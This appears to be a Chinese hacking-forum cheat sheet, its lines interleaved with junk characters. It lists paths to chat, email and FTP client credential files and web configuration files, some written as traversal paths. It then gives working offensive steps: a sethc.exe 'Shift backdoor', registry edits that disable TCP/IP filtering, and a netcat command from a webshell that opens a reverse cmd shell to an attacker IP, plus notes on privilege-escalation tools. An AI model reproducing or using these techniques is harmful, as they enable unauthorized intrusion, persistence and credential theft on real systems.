* r  ^4 q6 X3 M- j2 T/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
9 c( E' [8 T  ^; s/ X7 ~- Zc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
( g$ r. s7 n- T) d, a6 L8 _, Ac:\Program Files\Tencent\qq2008\qq.exe
' F: I. B4 ~% V2 H/ k* _7 T  sc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
2 L) G, A+ `- |9 [% `9 R+ ^. }0 aC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
! b9 q, W% [$ d. ~3 @! D) X/ p# Gc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
* X0 p5 x1 |  [3 r9 DC:\Program Files\Foxmal\Foxmail.exe
6 k# g! e5 C/ B" \( `0 `8 LC:\Program Files\Foxmal\accounts.cfg
2 J+ n) Y4 w- R. K3 \2 h2 lC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
7 a1 P3 o1 t/ cC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
. m" O5 n$ M- V& S7 QC:\Program Files\FlashFXP\flashfxp.exe
& G" l3 o" L& I& o2 I7 [  lc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
6 J: `/ \9 l* \7 @c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
8 h6 \( E1 L+ Wc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

% P& v" K" E' L8 }3.网站相对路径:

/config.php
3 t  @$ q+ j, E, H5 ~) T8 J7 `* f../../config.php
../config.php
* Y- l. w/ ]: L" E$ B../../../config.php
/config.inc.php
4 m+ {( y, n: z: O! a4 e./config.inc.php
../../config.inc.php
, T, e- w, ?9 _../config.inc.php
1 K3 a' \1 }' s9 L; ~2 x$ |../../../config.inc.php
/conn.php
8 i9 H/ P1 m8 r./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
8 Z" [" w  R7 X6 b. b# N../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
, k1 Q; l- v" `+ F/ x/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
$ {4 u1 N' ?$ R0 q" f: ^/config/config.inc.php
' I" R0 E. x( e% Z./config/config.inc.php
../../config/config.inc.php
2 {2 W7 h# u& Y9 Z9 a- b, q/ M/ {../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
; F$ o7 \. O' p3 k  H/ f  q. }./config/conn.php
6 x3 [9 P- Q. j7 A* x$ b../../config/conn.php
../config/conn.php
../../../config/conn.php
5 @6 H+ x* F/ f0 M5 a: m/config/conn.asp
0 U" G  j1 i8 i./config/conn.asp
../../config/conn.asp
$ C# E1 c' U6 r: F../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
# Y* J) ], I  o; Q1 t../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
1 Z9 C4 w9 ~) G, ?, v../../data/config.php
../data/config.php
( u3 K" e+ x8 @3 C$ H2 a: E6 L../../../data/config.php
/data/config.inc.php
./data/config.inc.php
9 X9 T1 k1 ^& P' L. U  l; E# A../../data/config.inc.php
' Q5 H8 c! D# h5 T$ N' Z../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
2 `* j* h1 h+ B% v3 C: |3 _2 f../../data/conn.php
../data/conn.php
../../../data/conn.php
/ i; G9 O* V. S! Y* `8 }# V/data/conn.asp
./data/conn.asp
7 A/ ]' }! W: X7 H  s../../data/conn.asp
4 H/ |9 v) B5 N  r7 m../data/conn.asp
../../../data/conn.asp
8 A; y2 B$ n- u/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
1 G6 K9 S8 }% v/ _+ l) H7 b4 z../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
# c( ]: j% k; P% \3 {0 u9 n../../../include/config.inc.php
: z6 |  }9 |" h" g1 m, M/include/conn.php
./include/conn.php
4 `1 ^9 w  q+ e2 }1 ~../../include/conn.php
../include/conn.php
, F9 B2 k7 G: M, m  |: Y' }; e../../../include/conn.php
/include/conn.asp
) f" o, n: ]+ ]* R$ X9 S! V./include/conn.asp
3 C3 ?8 |4 x3 y' p( U1 K../../include/conn.asp
$ a7 y: h2 K8 ]  U: g../include/conn.asp
../../../include/conn.asp
/ x# B% r& c! d* O& c- x1 o- B/include/config.inc.php
/ C! L% }' Q% m; K7 K9 |* l, k./include/config.inc.php
2 H- w" R. G6 y1 D0 g1 G../../include/config.inc.php
) B  c" e5 x% P/ N5 s../include/config.inc.php
4 n( ?2 \0 a$ _6 a6 x3 |7 r../../../include/config.inc.php
% l5 X1 Z$ u- Q2 c4 D$ Q8 @/inc/config.php
../../inc/config.php
../inc/config.php
# c% P6 ^1 {$ q  w8 v8 y3 D../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
; T/ S0 S8 o: e, j/ p( n# P, R& ~3 @../../inc/config.inc.php
; ]) j: }  h8 ?2 u% u../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
. P+ A5 T4 L0 }' ^' `. x7 z7 G3 w../inc/conn.php
../../../inc/conn.php
  ~5 f2 p8 r" c2 u+ E% V/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
8 l( v0 E. G3 k9 {: p9 W: `../../inc/config.inc.php
3 P- y  b  U; A5 R2 l; X$ C../inc/config.inc.php
../../../inc/config.inc.php
: d: L% a# g6 j7 s" I1 o. F/index.php
./index.php
../../index.php
5 o( J( b$ X' E/ W../index.php
../../../index.php
* L8 a$ s- Z# M; J1 n$ G$ X/index.asp
9 z4 H6 a" X2 x" w./index.asp
% b: s. A9 x1 i  r* r" ~../../index.asp
../index.asp
- T# z  M. ?: g- ^1 x% T& C5 g../../../index.asp
替换SHIFT后门
8 ^) j  r" {8 e1 P$ X. E　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
5 l0 _; Y3 r4 R1 `0 Z
9 G4 h0 i0 `& i0 U" P+ N: P　　del c:\windows\system32\sethc.exe

2 Q) E. `* c+ j/ O3 w6 S! t, X　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
! f/ f; H* a* ^7 b1 Y去除TCPIP筛选
3 b; S6 x, l$ E1 LTCP/IP筛选在注册表里有三处，分别是：
% I# d( r# D) `9 V, O- V6 ]$ ?HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
) [! J& z% A" T9 ^2 NHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
3 |! c" b9 H: I5 T2 J' RHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
  _4 L7 Y2 h  R! G- Q- M
% L' }" N) {* D) j# B6 N分别用
" u: H# I6 D  L* Yregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 e$ K6 Z4 o% i2 ?0 C" nregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
7 _) y+ y9 Y  t8 B! r- l% bregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 s  z* F1 c% V% W0 K: h/ b4 Y0 U命令来导出注册表项
% }! D& f$ c) o  K, {- ^
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
9 _/ Y4 `& J: N
再将以上三个文件分别用
# I2 W. Q) h- ^regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
8 E& g7 t1 ^. l) r3 c! i  c! O导入注册表即可
/ G1 e/ [! I8 R. ^' a8 V* r+ M
" ^% u# O! H' R+ v) t/ `0 Cwebshell提权小技巧
cmd路径:
( G2 X, u& z- ~- G% O: xc:\windows\temp\cmd.exe
, }) S' V" E+ j4 B& }& Q5 {4 T0 _nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

7 u# M5 {  ]: n而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
1 o' |% s) k$ \命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
: B+ U  h: L% Y6 `5 ^4 Q3 j8 w我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功